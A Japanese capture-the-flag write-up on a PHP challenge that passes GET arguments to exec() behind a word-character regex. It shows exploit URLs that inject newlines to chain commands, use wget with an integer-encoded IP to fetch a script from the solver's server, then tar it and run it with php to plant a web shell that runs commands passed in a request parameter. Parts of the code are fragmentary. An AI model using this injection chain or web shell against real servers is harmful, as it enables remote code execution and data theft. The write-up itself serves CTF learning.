CTF web問題のまとめ--正規表現を避けます.
3011 ワード
コード:
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i$args ); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec('./ ' . implode(" ", $args));
?>
問題:ソースからindex.phpが文字数だけのlinuxコマンドを実行することができますが、目標はflags.phpファイルのflagsを読むことです.2.ipアドレス長整数を生成することで正規表現をバイパスし、exploidスクリプトをダウンロードします.3.タタリコマンドにより、拡張なしのスクリプトをパッケージ化し、phpコマンドで実行します.Example:
http://localhost/index.php?args[]=whatever%0a&args[]=mkdir&args[]=test%0a&args[]=cd&args[]=test%0a&args[]=wget&args[]=3232254721( ip ,wget IP , index.html )
http://localhost/index.php?args[]=whatever%0a&args[]=tar&args[]=cvf&args[]=exploit&args[]=test%0a&args[]=php&args[]=exploit
後ろにスペースが付いていますので、どうしてもコマンド一つで解決できません.この時は複数のコマンドが必要です.まず%0 Aを使ってカットオフします.改行実行後のコマンドに相当します.その後は何とかしてshellに伝わりました.phpファイルを直接ダウンロードすることができませんでした.shell.php', ' header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);?>
');
?>
上のスクリプトを自分のサーバーに置いて、wgetで取得した後、tarで包装してからphpでtarパッケージを実行すれば、shellファイルを書き込むことができます.http://localhost/shell.php?cat flag.php